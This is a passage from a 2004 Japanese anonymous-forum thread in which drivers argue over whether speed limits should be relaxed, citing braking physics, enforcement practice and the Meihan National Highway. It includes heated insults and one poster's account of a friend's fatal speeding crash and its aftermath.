実際、間違ってると思う人が多いから、道路は今のような流れになっているのだが・・・。
あなたの理屈だと、ナチスドイツの全権委任法に逆らってヒトラーに歯向かった人も、北○鮮で金○日に逆らった人も、みんな「非常に迷惑」「言語道断」という事になる。

まあ歴史を見ると、いつの時代も警察と軍隊は権力側につくからね。
でも、警察などの権力機構だけに頼った制度って、大抵遠からず崩壊してるんだよね。
大部分の民が納得する制度で、少数の納得しない人を警察等を使って取り締まるのはOKだけど、現状では納得してる人の方が少数。
ここ数年の力任せの取り締まり強化が、崩壊のきっかけになる可能性は十分あると思う。


862 :名無しさん@お腹いっぱい。:04/03/08 03:26 ID:???
613 は次スレに来ないでね。
「速度規制に文句あるヤツはかかってこい」とか、自分でたててくらはい。

もー読む気にもならん・・・ 次スレに期待します。


863 :613:04/03/08 14:58 ID:???
違反してる人=間違ってると思う人
って短絡的な発想はいい加減改めなよ。
違反してる人=ずるい人
ってのが普通の発想だよ。

日本には、ずるい人が大半なんだよ。
死亡者1万人ってところを見ないふりして、
法が間違ってると自己正当化してる人も少なからずいるが、自分のずるさを認めなよ。

免許取得時:「ルールは守ります。」
運転中  :「守ってられるかよ。」
免許更新時:「ルール守らないですいません。以後は守りますので。」
運転中  :「嘘じゃ、ボケ!」
どこが正義なんだろうね。

864 :無しさん@お腹いっぱい。:04/03/08 21:01 ID:???
結論
○法定速度は現状のままでよい
○速度取締りは取り付け取り外しが容易でネットによる即時通信のオービスを
 毎週ランダムに設置する事で強化できる
○特定の路線を狙った取締りではなく、全ての路線を取り締まる
○反則金はもっと値上げして、未納者には免許を更新させない
○法定速度や罰則に不満があるものには直接警察署へ行き意見を述べる
 機会を与える

みんなの意見をまとめるとこんな感じでいいかな?


865 :無しさん@お腹いっぱい。:04/03/08 21:08 ID:???
>>862

>613 は次スレに来ないでね。

でましたね、排除活動。
意見を言い合う場なのに勝手に退場を命じて自分の主張を通そうと言うのが
規制緩和派全員の意思かな?
言い負けてかなわないから来ないでくれ??
そうでもしなければ主張を述べられないという状況なのに、「俺が言う事は
大半の人が思っている事だ」とはこれいかに???
発言すれば発言するほどボロが出る862
残りの点数が少なくなって慌てて自分の主張を無理に通そうとする862
なんでこんな奴が免許持っているのだろう?


866 :847:04/03/08 21:23 ID:???
>>863
>>日本には、ずるい人が大半なんだよ。

その方がずっと「短絡的」だと思うが・・・。
大部分日本人がずるくて、少数の公安や警察官僚が立派な人達?

一度いろんな人に訊いてみてごらん。
あなたが警察関係者なら、身分を隠して訊かないと本音は訊けないだろうけどね。

>>免許取得時・・・

そりゃーそう言わないと免許貰えないでしょ。

例えば、あなたが北○鮮に住んでたら、「偉大なる金○日将軍万歳」って、思って無くても言うでしょ。
そうしないと殺されるからね。
もちろん程度の差はあるけどね。

>>864

自分以外の人が書いている事も、きちんと読みましょう。

867 :613:04/03/08 21:50 ID:???
>>866
大部分の人間はずるいと思いますけどね。

自動販売機のお釣り受けに100円が、落ちていました。
ポッケにしまう人もいます。だって、誰のかわかんないだから。

待ち合わせに5分遅刻しました。相手はもっと遅刻しました。
自分の遅刻は黙っておきます。だって、誰にも迷惑かけてないのだから。

友達の本は、全ページコピーしました。著作権違反です。
でも、たまにはやってしまいます。だって、著作権者にばれないのだから。

こんなずるさは誰でも持っていますよ。
スピード違反も悪いのわかってて、事故らないから、
ちょっとぐらいは、別にいいっかぁって考えの人もいます。
公安や警察官僚もちょっとぐらいのずるさは持っています。

事故らないから、制限が悪いという人もいますがね。

868 :名無しさん@お腹いっぱい。:04/03/08 21:53 ID:???
みんな、名阪国道って知ってるかな?
三重県と奈良県を結ぶ道路で、事情があって高速道路になり損ねた道路なんだ。
西名阪と東名阪というの2つの高速に挟まれている自動車専用道路で、
奈良県側にΩカーブという運転に慎重さを要するポイントがある以外は高速道路と全く同じ作りなんだ。
だから、Ωカーブ以外は高速道路と同じスピードで流れているんだよね。
安全性を要求するだけなら、Ωカーブと前後だけ60km/h規制にしておけば十分なのに、
「高速道路ではない」という理由だけで、全線60km/h規制なんだ。おかしいよね。
ド田舎を通る道路だから、騒音苦情なんて関係ないし、
むしろ、前後の高速道路沿線の方が住宅地だったりするんだよ。
「制限速度は今のままでいい」なんて思っている人は、一度ここを走って貰いたいな。

869 :613:04/03/08 21:58 ID:???
>>866
免許取得時・更新時にルールを守る気がないのに嘘を付く。
こっちのほうがはるかにずるいですが。

事故を起こさないために国家との約束をしたにもかかわらず、
約束は反故だ。ルールなど守るか。まるで反逆者です。

>>811の再掲ですが、以下の問いに答えてもらえますか?
>死というリスクを負って、他人に死というリスクを負わせてまで、速度超過に意味があると述べるのに、
>なぜ、取り締まりによる反則金程度のリスクを甘受できないのですか?
>他人の死というリスクはいくらでも受け入れるが、
>自分の反則金のリスクは絶対嫌だって言ってるように思えますが。

870 :無しさん@お腹いっぱい。:04/03/08 22:02 ID:???
>>868

では君はその名阪国道だけを規制緩和すれば他の道路は現状維持で納得するの?
出来ないなら特殊な例を持ち出して全体を変えようなんて思わない方がいいよ。

871 :613:04/03/08 22:04 ID:???
>>868
>事情があって高速道路になり損ねた道路なんだ
この事情とやらが気になりますね。
これがそのまま今の規制の理由になってる気がする。

ぐぐって理由発見。
http://www.geocities.jp/ezhagi/torisimari/meihan.html
>! なぜ名阪国道は制限速度60キロ !
>なぜ名阪国道が60キロ制限かというと、全線に渡って勾配・カーブがきつすぎるからです。
>荷物を満載したトラックなどは60キロで登板することが不可能な場合が多い。
>登り坂でスピードが落ちる車が1台でもいたら、急激に車の流れが悪くなり、
>車間距離が無いと玉突き事故が起きる危険性が高いからです。わかりやすく言えば、
>勾配やカーブがきつくて高速道路になりそこねたわけです。
>一般道路の制限速度の上限は60キロです。だから名阪国道も60キロなんです。

872 :無しさん@お腹いっぱい。:04/03/08 22:18 ID:???
>>866

免許の為にウソを付く位なら、ウソを付く必要が無いような
運転をするのが合理的じゃないか?

873 :名無しさん@お腹いっぱい。:04/03/08 22:22 ID:???
>>870
他のバイパスでも同じような道路はありますが。
むしろ、制限速度が守られている道路の方が特殊でしょうに。

>>871
そのサイト見た事があるけど、そこは「交通取り締まり対策」のページだよ。
違反を奨励しているように見られないようにカムフラージュしているだけ。
確かに、Ωカーブ付近は危険地帯だが、それ以外は高速と同じ構造。
実際の設計速度もΩカーブ前後以外は80km/hとなっている。

874 :無しさん@お腹いっぱい。:04/03/08 22:26 ID:???
>>613

>! なぜ名阪国道は制限速度60キロ !
>なぜ名阪国道が60キロ制限かというと、全線に渡って勾配・カーブがきつすぎるからです。
>荷物を満載したトラックなどは60キロで登板することが不可能な場合が多い。
>登り坂でスピードが落ちる車が1台でもいたら、急激に車の流れが悪くなり、
>車間距離が無いと玉突き事故が起きる危険性が高いからです。わかりやすく言えば、
>勾配やカーブがきつくて高速道路になりそこねたわけです。
>一般道路の制限速度の上限は60キロです。だから名阪国道も60キロなんです。

思いっきりわかりやすい理由があるんだね
これを読んで反省した事がある
俺は老若男女や初心者の事しか考えていなかった
でも積載満載の大型車は制動距離が長いから、そこも考慮しないと
いけなかったんだなぁと
自分の車が普通車だからといって普通車の為だけの規則を考えるのは
間違いだね

875 :無しさん@お腹いっぱい。:04/03/08 22:30 ID:???
>>873

>むしろ、制限速度が守られている道路の方が特殊でしょうに。

その考えがおかしいよ。
規則を守る奴がバカだともいいたいの?
万引きしない奴はバカ?

>そのサイト見た事があるけど、そこは「交通取り締まり対策」のページだよ。
>違反を奨励しているように見られないようにカムフラージュしているだけ。

要するに原因を知っていて知らない振りしたのだね?
同じ内容の発言でも、嫌いな人が言ったら反発して、好きな人が言ったら同意?
俺は法定速度の改善よりも君の性格の改善をしたいよ。

876 :名無しさん@お腹いっぱい。:04/03/08 22:32 ID:???
>>867
>>自動販売機のお釣り受けに100円が、落ちていました。
>>ポッケにしまう人もいます。だって、誰のかわかんないだから。

そういう事も多いでしょうね。
でも、警察が見てなくても、人が見てたらやらないでしょう。

>>スピード違反も悪いのわかってて、事故らないから、
>>ちょっとぐらいは、別にいいっかぁって考えの人もいます。

悪いと思ってないから、多くの人が見ている道路で堂々とやってます。
その上、本当に危険な100km超で走ってる人まで堂々と走れます。

>>869
>>約束は反故だ。ルールなど守るか。まるで反逆者です。

つまり、優越的な立場によって強制された約束でも、守るべき道義的な義務があると?
権力を持った警察にとっては、実に都合の良い話ですな。
あなたの論理だと、イ○ク人もフセ○ンに忠誠を誓ったんだから、今になってアメ○カに協力するのは怪しからんという事になるのだが。


877 :名無しさん@お腹いっぱい。:04/03/08 22:38 ID:???
>>875
>万引きしない奴はバカ?
スピード違反する香具師>>>>>>>>>>万引きした事がある香具師
それを同列に語るのがそもそもの間違い。

>君の性格の改善をしたいよ。
同じく、>>875の性格を改善したいね。

878 :無しさん@お腹いっぱい。:04/03/08 22:42 ID:???
馬鹿でもわかるように言うか。
もし制限速度を180kmに上げたらどうなるか?
自分の力量に合わせて遅く走る奴も居れば180kmギリギリまで
飛ばす奴も出る。
つまり身の回りの車の速度差が大きくなるという事だ。
これがどれだけ危険な事は理解できる事と思う。
無理な追い越しや遅い車への煽りが多発すれば当然事故は多くなる。
事故が起きれば渋滞は免れない。
危険度が増して渋滞の頻度が増える事をそんなの望むのか?
君の後ろを走っている車の運転手が皆運転が上手い人とは限らないよ。
もしかしたら煽られて自分の力量を超えた運転をしているかもしれない。
そんなスリルを味わいたいの?

879 :無しさん@お腹いっぱい。:04/03/08 22:45 ID:???
>>877

言い返せなくなった模様

880 :名無しさん@お腹いっぱい。:04/03/08 22:45 ID:???
>同じ内容の発言でも、嫌いな人が言ったら反発して、好きな人が言ったら同意?
同意なんかしてないよ。設計速度が80km/hなのに、60km/h規制する説明になってないし。
それに、好きな人、嫌いな人って、顔も名前もわかない香具師に好き嫌いもないよ。
あるのは意見に賛同するかしないか。ただそれだけだ。

881 :名無しさん@お腹いっぱい。:04/03/08 22:48 ID:???
>>878
>>180km

そんな事は誰も主張してない。
よく読んでから書き込もうね^^

882 :無しさん@お腹いっぱい。:04/03/08 22:49 ID:???
>>877

君は873の人かな?
理由を知りながら知っていない振りをするのは何故ですか?
もしかして本当に理解できなかったの?
それとも引っ込みつかなくて強がっているだけ?
もう少し正直に生きたほうがいいよ。

883 :名無しさん@お腹いっぱい。:04/03/08 22:51 ID:???
>>875

万引きを堂々とする人は居ないが、速度違反は警察以外の人なら多くの人が見ていても平気でする。
なんでこんな事になったのか、考えてみて。


884 :名無しさん@お腹いっぱい。:04/03/08 22:52 ID:???
>>878
また、極端な例だな。
おそらく、高速道路での話だろうが、規制がなくなったら
遅い車は左側、速い車は右側に分かれていくでしょうね。
実際、ドイツのアウトバーンはそうなっているし。
左側のスピードが速すぎると感じるなら、一般道を通ればいいわけだし。
一般道でも速すぎると感じるなら、もう運転しない方がいいね。

885 :無しさん@お腹いっぱい。:04/03/08 22:52 ID:???
>>881

例えの話です。
規制緩和が何を招くのかを説明する為に、あえて大げさな仮定を用いました
それくらいも理解できなかったのかなぁ
例えの話は苦手ですか?
そうであれば貴方の希望法定速度を示してくださいな

886 :名無しさん@お腹いっぱい。:04/03/08 22:54 ID:???
>>885
>>453

887 :名無しさん@お腹いっぱい。:04/03/08 22:54 ID:???
名阪国道の勾配の話は嘘っぽいなぁ。
中央高速とかのが起伏が激しいし・・・
まあ登坂車線の有無とかあるんだろうけどね。
(何を言っても、適当に反論するんだろうし)

868の意見は無視かな?
613 は他の人の意見は、おいしいとこどりなんだな(w

>>874
「俺は老若男女や初心者の事しか考えていなかった・・・」
ってのは、自分も一緒。車種による理由もあるし、性別・年齢に
限らず現状の速度についてこれない人とかもいるし、たぶん
だけど規制緩和反対な人はそんな人なんじゃないかな?
あ、揶揄してるんじゃなくて、日頃怖い思いをしてるからってことね。

ところで、現状維持な人は速度とか駐禁とか守ってますか?


888 :無しさん@お腹いっぱい。:04/03/08 22:55 ID:???
>>884

高速道路の話ではないんです。
一般道でのつもりで書きました。
こうれなら馬鹿にも理解してもらえると思ってね・・・

それともこの程度じゃ馬鹿には難しかったと思います?

889 :名無しさん@お腹いっぱい。:04/03/08 23:01 ID:???
>>888
暴言や人を馬鹿にしたような例えは良くないと思うよ。
警察の肩を持つ人(又は関係者)はそんな人達かと思われたら、あなた方にとってもマイナスでは?
まとも話でないようなので、きちんとした話をしてくれた時点でレスします。


890 :無しさん@お腹いっぱい。:04/03/08 23:04 ID:???
>>887

現状維持派の一人ですが、少なくとも免許取立てで浮かれている時期とは
大きく変わりました。
一時停止はどんなに見通しが良くても止まります。
駐禁なんて守って当たり前。
駐車場が少しくらい遠くてもそこへ行き、駐車場に困る店とかへは行きません。
速度超過は時々破りますが、そこには覚悟があります。
よって捕まっても警察を逆恨みはしませんね。
自業自得ですから。
信号の無い横断歩道では待っている人が年寄りや子供だったら止まります。
(ホントは必ず止まって歩行者保護をしなければならない)
信号の無い交差点とか合流地点とか駐車場とかから出てくる車とかは自分
の速度が遅い時は入れてあげます。

できるだけ規則を守り、規則を破る時はリスクを背負う覚悟をしています。

891 :名無しさん@お腹いっぱい。:04/03/08 23:07 ID:???
>>869
>>>死というリスクを負って、他人に死というリスクを負わせてまで、速度超過に意味があると述べるのに、
>>>なぜ、取り締まりによる反則金程度のリスクを甘受できないのですか?

事故は注意すればかなりの程度防ぐ事ができます。
もちろん一般道100km超のような無謀な速度だとそうはいきませんが、そんな事は誰も主張してませんので。
一方、取り締まりは防ぐ事が困難なリスクです。


892 :名無しさん@お腹いっぱい。:04/03/08 23:07 ID:???
覚悟があればいいのか(W

893 :無しさん@お腹いっぱい。:04/03/08 23:11 ID:???
>>889

あなたが不快に思う気持ちは覚悟の上です。
しかし法を守る事が警察の肩を持つ事を同じと言われるのは納得いきません。
自分としては、科学的に根拠のある話をずーーーっとしてきたのですが
理解してもらえなかったようなのでわかり易い内容にしました。

だってさ、速度が2倍になれば制動距離が4倍になり衝突エネルギーも4倍に
なるって事は学校でも教習所でも習っているはずでしょ?
僅かな速度がどれだけの危険を生むかなんて絶対に知ってるはずなんですよ。
それを知らない振りをして規制緩和を唱える人が居る。
知っている事に対して科学的な反論もせずに知らない振りをする理由は何でしょう?
これを馬鹿と呼ばずになんと表現すればよいのか、適切な表現を教えてもらえれば
こちらも言葉を改めます。
(ちと酒が入っているので過激気味です)

894 :無しさん@お腹いっぱい。:04/03/08 23:14 ID:???
>>892

捕まってつまらないスレ立てられるよりはマシだろう

895 :613:04/03/08 23:22 ID:???
>>887
おいしいとこどりなのではなく、おいしくないとこどりなんだよ。
>>868が、名阪国道の道路を80kmで走れるという理由は規制緩和の理由とならず、
荷物を満載したトラックなどは60キロで登板することが不可能な場合が多い。
は、規制を設ける理由となる。

一番、走行困難な人に基準を合わせる。

896 :無しさん@お腹いっぱい。:04/03/08 23:26 ID:???
馬鹿の見本を少しだけ・・・

31 :名無しさん@お腹いっぱい。 :03/10/31 02:39 ID:S9jxe9Qb
みんなが守らない事を前提にしてるから厳しいんでしょ。
青切符の速度違反を折りこんで、それでも安全なようにしてるんじゃない?

76 :  :03/11/05 10:09 ID:UkKlm1wD
けっこう広い河川敷の空いた道路で制限速度30キロのところ27キロオーバーで捕まった。
普段も50〜60キロくらいで流れているところなのに・・・
まったく危険な速度ではなかったのに・・・
あれはどう考えても速度設定がおかしい。
規則規則って言ってる奴は制限速度+10くらいきっちり守って運転してんのか?
もし守ってるって言うなら車の流れを乱し渋滞の先頭になる迷惑ドライバーだ。
今の速度規制での安全危険問わない理不尽な取締りには絶対に納得できない。
50CCバイクの30キロ規制も実情をかけ離れた、かえって事故を招く理不尽な速度設定だ!
このような交通安全の趣旨とはかけ離れたおかしな速度規制には断固反対する!

523 :名無しさん@お腹いっぱい。 :04/02/22 11:51 ID:jDa0Yf7U
>>519
その前に、なんで、日本の速度取り締まりが甘いのかわかるかな?
規制そのものが現実に沿っていないから、運用面で甘くしているんだよ。
本来なら、規制そのものを現実に合わせて、運用を厳しくしていく方が望ましいけど、
全然そうならないからこのスレッドが出来たんだよね。
規制緩和を求めているドライバーは決して速度超過を奨励している訳じゃないんだ。
むしろ、法規を守っても普通に走れるようにしてほしいと望んでいるだけなんだよ。
あと、速度超過だけが原因の事故(カーブを曲がりきれない等)なんてわずかだよ。
大抵の事故は、前方不注意などの注意義務違反が主要因だよ。


897 :名無しさん@お腹いっぱい。:04/03/08 23:27 ID:???
>>893
>>あなたが不快に思う気持ちは覚悟の上です。

ちなみに881は私ですが、884は私ではありません。
多分、884氏はもっと不快に感じてると思いますよ。

>>自分としては、科学的に根拠のある話をずーーーっとしてきたのですが

私を含めて緩和派も、いかに異常であるかを様々な根拠を挙げて説明して来ました。

>>速度が2倍になれば制動距離が4倍になり衝突エネルギーも4倍

知ってますよ。
ちなみに停止距離は空走距離を含むので2乗倍にまではなりませんが、高速域では制動距離の占める割合が高まるので大差なくなるかもしれませんね。

>>僅かな速度がどれだけの危険を生むかなんて絶対に知ってるはずなんですよ。

知ってますよ。
あなたの言うとおり、殆どのドライバーが知ってるでしょうね。
それにも関わらず現在の流れがある。
やはり規制が異常という事では?
知らないなら、危険なのに知らないから飛ばしてるという主張も成り立ちますが、知ってる以上それは成り立たないでしょう。


898 :897:04/03/08 23:31 ID:???
(補足)
際限なく速度を出させろと言ってる訳ではないので悪しからず。
生活道路などの本当に歩行者に危険を与える所では、凹凸を利用したむしろ規制強化を主張してますよ。

899 :交流電源:04/03/08 23:32 ID:???
ハハハ

900 :613:04/03/08 23:32 ID:???
>>891
>事故は注意すればかなりの程度防ぐ事ができます。
>もちろん一般道100km超のような無謀な速度だとそうはいきませんが、そんな事は誰も主張してませんので。
>一方、取り締まりは防ぐ事が困難なリスクです。
制限速度40kmの道を60kmで走るケースを想定します。リスクは2倍となる。

かなりの程度=少しは事故をする。
このリスクと、取り締まりのリスクは、何倍もの大きさがあります。

事故のリスク0.01%、事故の被害100だとすると、
取り締まりのリスク1%、取り締まりの被害1です。

0.01%の事故が困るので、定期的に小さなリスクを与えているのです。
それにより、速度を落としてもらうために。
なぜ大きなリスクは受け入れるのに、小さなリスクは拒むのですか?
取り締まりのリスクは耐えれるリスクです。事故は耐えられないリスクです。

>>893
>だってさ、速度が2倍になれば制動距離が4倍になり衝突エネルギーも4倍に
>なるって事は学校でも教習所でも習っているはずでしょ?
これがどうやら通じないようなのです。
緩和派はこの事実を警察の情報操作によるものと捉えているようです。

901 :613:04/03/08 23:34 ID:???
>>898
では、その費用を含む今まで反則金にてまかなわれていた、
安全対策費は何により補うのですか?

902 :無しさん@お腹いっぱい。:04/03/08 23:38 ID:???
馬鹿の見本その2

548 :名無しさん@お腹いっぱい。 :04/02/23 22:21 ID:hX8ta9AI
>>542
なら、質問ですが、同じ道路で制限速度60の道路を80で走るのと、
制限速度を80に緩和して80で走るのでは、どちらの危険性が高いですか?
理論上は同じになりますが、実際は後者の方が「取り締まりに対する注意力」を
通常の運転に対する注意力に向けられるので、危険性はやや低くなります。

552 :名無しさん@お腹いっぱい。 :04/02/23 23:22 ID:hX8ta9AI
>大切な人を失ってからでは遅いんですよ。
では、規制緩和が原因でその大切な人を失う確率はどれぐらい上昇しますか?
おそらく、規制を実情に合わせるだけだから、殆ど変わらないでしょうね。
それに対して、速度違反で検挙される率が0になるわけですから、
微々たるリスクに対してリターンは遙かに大きいですね。

601 :名無しさん@お腹いっぱい。 :04/02/29 01:24 ID:???
>>600
何故現状維持で構わないの?
制限速度が緩和されれば、捕まる危険性が減るのに。
「緩和すると、元々制限速度を超えてた人がもっと飛ばすから危ない」という事?
それなら、例えば現状60km規制で90kmから免停の道路は「90kmまではOKで、90km超からいきなり免停」にすれば良い。
それなら100km以上でぶっ飛ばす人にとっては今と同じペナルティーになるし、逆に一般のドライバーが無用なストレスにさらされる事もなくなる。


903 :613:04/03/08 23:39 ID:???
>例えば、あなたが北○鮮に住んでたら、「偉大なる金○日将軍万歳」って、思って無くても言うでしょ。
>あなたの論理だと、イ○ク人もフセ○ンに忠誠を誓ったんだから、今になってアメ○カに協力するのは怪しからんという事になるのだが。
緩和派って極論が大好きなのね。
日本は警察による独裁政権だと思っているのか。
それで、話が通じない理由がわかったw

904 :名無しさん@お腹いっぱい。:04/03/08 23:46 ID:???
>>903
反対派にも>>888みたいなのがいるのですが。

905 :613:04/03/08 23:47 ID:???
>>896
>>902
この人たちって、速度超過での走行をいかに安全にするか、
いかに合法にするかの視点から、物を論じているのがよくわかりますね。

法律を守る気など全くない(=他人のことは何も考えない)、自分たちの利益のみの利己的な主張です。

906 :名無しさん@お腹いっぱい。:04/03/08 23:47 ID:???
>>>だってさ、速度が2倍になれば制動距離が4倍になり衝突エネルギーも4倍に
>>>なるって事は学校でも教習所でも習っているはずでしょ?
>>緩和派はこの事実を警察の情報操作によるものと捉えているようです。

誰もそんな事言ってないでしょ。
煽りなら自分でスレ立ててやって。

907 :無しさん@お腹いっぱい。:04/03/08 23:48 ID:???
>>897

揚げ足を取るつもりは無いのですが、素朴な疑問をさせて下さい。

>ちなみに停止距離は空走距離を含むので2乗倍にまではなりませんが、高速域では制動距離の占める割合が高まるので大差なくなるかもしれませんね。

普段走行中は危険と思われる個所を注意して見る事と思われます。
しかし速度が上昇する事によって注意個所が減ってしまう事は今まで思いつきませんでしたか?
速度常勝が危険度に比例する事に間違い無いと思うのですが・・・
一体何が大差なくなるのでしょうか?
一回限りならともかく、これから一生毎日数十回クジを引く事を考えれば0.001%でも大きな差
だと思います。


908 :交流電源:04/03/08 23:48 ID:???
>>874 名阪国道はひどい
渋滞しまくり

909 :名無しさん@お腹いっぱい。:04/03/08 23:51 ID:???
>>905
>>法律を守る気など全くない(=他人のことは何も考えない)

この言葉に全てが集約されてるね。
つまり現状維持派の方は、「法律=神聖にして侵すべからざるもの」「改正などもっての他」という事ね。


910 :無しさん@お腹いっぱい。:04/03/08 23:53 ID:???
>>904

緩和派には馬鹿がいっぱい居るのでね。
じゃあ君に聞くよ。
知ってる事を知らない振りする理由はなんでしょうか?
答えてくださいな。904さん。

911 :613:04/03/08 23:54 ID:???
>>906
では、なぜそれで40kmの道を60kmで走れば、リスクが2倍に増大することが納得できないのですか?

今の車の流れを制限速度まで落とせば、リスクが半分になるのですが。
規制緩和にリスクはほとんどないとの主張に思えるのですが。

912 :無しさん@お腹いっぱい。:04/03/08 23:55 ID:???
>>905

え、ログを貼った俺が悪いって事なの?(;´Д`)

913 :613:04/03/08 23:58 ID:???
>>909
>つまり現状維持派の方は、「法律=神聖にして侵すべからざるもの」「改正などもっての他」という事ね。
決めつけばっかりしちゃダメだよ。
法律=現状でのベターなルール。
改正はメリット多し、リスク少なしであればすべし。

>>912
>>912さんへのレスではなく、ログの内容への感想です。
わかりにくくてスマソ。

914 :名無しさん@お腹いっぱい。:04/03/09 00:00 ID:???
>>907
これはあなたの読み間違い。

>>893
>>速度が2倍になれば制動距離が4倍になり
>>897
>>ちなみに停止距離は空走距離を含むので2乗倍にまではなりませんが、高速域では制動距離の占める割合が高まるので大差なくなるかもしれませんね。

つまり、893氏は制動距離は速度の2乗と主張。
私もそれには同意だが、読んでる人の誤解を避ける為に停止距離は2乗にはならない旨指摘(空走距離は比例の為)。
ただ、速度が上がるに従って停止距離に占める制動距離の割合が増えるので、高速域では停止距離も2乗と大差ないですね^^と。

私の書き方も分かりにくかったかもしれません。
スマソ。


915 :名無しさん@お腹いっぱい。:04/03/09 00:00 ID:???
>>905
>この人たちって、速度超過での走行をいかに安全にするか、
>いかに合法にするかの視点から、物を論じているのがよくわかりますね。
そりゃそうでしょ。誰も守らないような欠陥規制なんだから。

>法律を守る気など全くない(=他人のことは何も考えない)、
守る気がなければ、規制緩和の主張なんて意味がないでしょう。
最初から守る気のない香具師は緩和された規制すら守らないから。

>自分たちの利益のみの利己的な主張です。
規制を緩和すれば、ここにいる緩和派だけでなく、全国のドライバーの利益になります。
一個人レベルでは利己的な主張でも、多数が集まれば社会的な主張となります。

916 :名無しさん@お腹いっぱい。:04/03/09 00:03 ID:???
>>913
>法律=現状でのベターなルール。
ベターじゃないから、誰も守らないし、緩和を主張しているのですが。
現在がベターだと思う人はごく僅かでしょう。

917 :613:04/03/09 00:11 ID:???
>>915
>そりゃそうでしょ。誰も守らないような欠陥規制なんだから。
誰も守ってないから欠陥規制という根拠は?

少なからずとも出来うる限りで守ってる人間はいます。
それはおいといても、誰も守ってない=欠陥とはならないと思いますよ。

事故が減ってる→価値有り。
誰も守っていない→どうでもいい。

誰もが守るが、多く死ぬというルールと、
誰もが破るが、少し死ぬというルールのどちらがいいですか?

>守る気がなければ、規制緩和の主張なんて意味がないでしょう。
守れるルールに変えれば守る。との主張ですよね?
そりゃ、自分のため(ドライバー)だけに作ったルールなら守るが、
他人のため(交通弱者を含む全ての国民のため)に作ったルールは守る気がないのですよね?

>一個人レベルでは利己的な主張でも、多数が集まれば社会的な主張となります。
なりません。多数の利己的主張です。
他人のリスクがなければ、これでも通用しますが。

918 :613:04/03/09 00:17 ID:???
>>916
「日本ドライバー党」って、規制緩和を望んで政党を作ったけど
たしか誰も当選しなかったんだっけ?
記憶のはしっこにあるだけで覚えてないけど。
(もしかして一人二人は当選したかも。誰か補足プリーズ)

ベターと思っている人が大部分だと思いますよ。
なぜ、ごく僅かだと思うのですか?
ではなぜ、「日本ドライバー党」は一人も国会に送れないまま消滅したのですか?

919 :無しさん@お腹いっぱい。:04/03/09 00:21 ID:???
数年前に友人が事故で死んだよ。
事故の相手も死んだ。
警察の見解では双方の速度超過がなければ死亡事故にはならなかったかもしれないとの事だった。
どっちが悪いのか関係ない。
原因が何であれ死んだ人は生き返らないからな。

「法定速度の20kmオーバーは当然」と言う、今思えば馬鹿な友人だった。
でもレポートが間に合わない奴には手伝ってやたりするまぁまぁいい奴だった。
できちゃった結婚して子供も産まれて絶対に死ねない時期だった。
奥さんが知り合いだったから当然様子見に行ったりもしたよ。
酷い錯乱状態で子供は奥さんの親が保護して居なかった。
仏壇に線香あげてお祈りしている時に変な感覚があった。
振り返ると奥さんが血の付いた果物ナイフ持っていてな。
あっという間に押したおそれ凄い形相でナイフ突きつけられて
「○○○を返して」とか叫ばれてさ。
全体重をかけた非力な俺には力は押し返せ無かった。

結局一緒に来た友人が奥さんの頭を蹴って止めてくれたので俺は死なずに済んだ。
その日から数週間後に奥さんは飛び降り自殺した。
今でも俺の体には傷が残っている。
風呂に入るたびに思い出す。
もう交通死亡事故は見たくない。


920 :無しさん@お腹いっぱい。:04/03/09 00:26 ID:???
>>914

907です。
いやぁ、恥ずかしい勘違いしました。
変な指摘スマンです。

921 :613:04/03/09 00:27 ID:???
>>919
そのご友人と奥様にご冥福をお祈りします。
一緒に交通事故を撲滅させましょう。
それが残された人の役目かと思います。

922 :名無しさん@お腹いっぱい。:04/03/09 00:32 ID:???
>>918

私は916氏ではないが、

>>「日本ドライバー党」は一人も国会に送れないまま
>>もしかして一人二人は当選したかも

私も人数は覚えてません。
それはともかく、国の政策というのは交通行政だけではありません。
いかに国民の需要があっても、いきなり多数を占めるのは無理でしょう。

>>消滅したのですか?

消滅したのは「日本ドライバー党」だけでなく、ミニ政党自体が一斉に消滅しましたね。
支持云々ではなく、ミニ政党が存在出来ないように制度改正が行われたように記憶しております。
でなければ、一斉にミニ政党が消滅した説明がつかないでしょう。


923 :名無しさん@お腹いっぱい。:04/03/09 00:39 ID:5Uw7K8in
>>613
ちゃんと寝てる?
俺は規制緩和派だけどあんた見てると
心配になるよ
みんなも2ちゃんねるはほどほどにね
で、おきたら道路容量と事故のリスクについても考えてみてね


924 :613:04/03/09 00:43 ID:???
>>922
もちろん交通行政だけではないですが、交通行政に一番関心を持っている人が、
国民全体の何%かはいるはずです。

そして、大選挙区での比例代表だったように記憶してるのですが。
全体の1%でも投票できますよね?0.5%でもできるかな?
古い選挙制度なんで、はっきりはしませんが。

>ミニ政党
ミニ政党のための政策と言うよりも、
政党助成金のために、何人以上の政党にしか金が回らないようになったのかな。
それで、ミニ政党が自由党とかに吸収された。

もし、日本ドライバー党の人がどこかに吸収されて残っていたら、国会に意見がされるはずなんですがね。

925 :613:04/03/09 00:49 ID:???
>>923
今から寝てきます。
>道路容量と事故のリスク
寝ながら、考えてきます。

926 :名無しさん@お腹いっぱい。:04/03/09 00:50 ID:???
まったく・・・
実況板じゃあるまいし、スレ早すぎるんだよっ
613 はちゃんと寝ないなら運転すんなよ!
あと運転中に、ここに何書こうとか考えんなよ!


927 :名無しさん@お腹いっぱい。:04/03/09 01:06 ID:???
>>925
おやすみ。
私は緩和派だけど、体には気をつけてね^^

あと、>>893さんも飲みすぎには気をつけてね。
肝臓に負担を掛けると、交通事故に負けない位あぶないから^^(実は、近親者に例があるので)


928 :名無しさん@お腹いっぱい。:04/03/09 07:40 ID:???
>>926
613は本当は車の運転なんかしないんじゃないの?
言っている事が全て卓上の論理で、現実の道路を知らないみたいだし。

>誰もが守るが、多く死ぬというルールと、
>誰もが破るが、少し死ぬというルールのどちらがいいですか?
規制を車の流れに合わせるだけなら、規制以外は変わらないのだから、
死亡者が増えるわけないのに、何の根拠もなく「多く死ぬ」なんて言っているし。

929 :名無しさん@お腹いっぱい。:04/03/09 12:10 ID:FKfzyHKH
現状維持派が言っている停止距離が伸びるから駄目理論は少し的を得てないと思う。
そもそもなんで急停止しなくてはいけない状態なのかを考えればだよ、
歩行者あるいは自転車が確認もなく急に動いたかからでしょ、だったら車がどんなにゆっくり走ろうが、
必ず回避できるとは限らないんじゃないの。歩行者だってしっかり確認し、横断歩道等でわたれば事故は起こりにくいんだと思うし。
歩行者等が自ら進んで危ないことして事故があれば車が悪いんだ、じゃ自己責任放棄してんじゃん。

だから交通弱者といわれる人も主張ばかりしないで、交通社会の一人だという事を自覚させた上で、制限速度の引き上げをすればいい。
40→60
60→60〜100

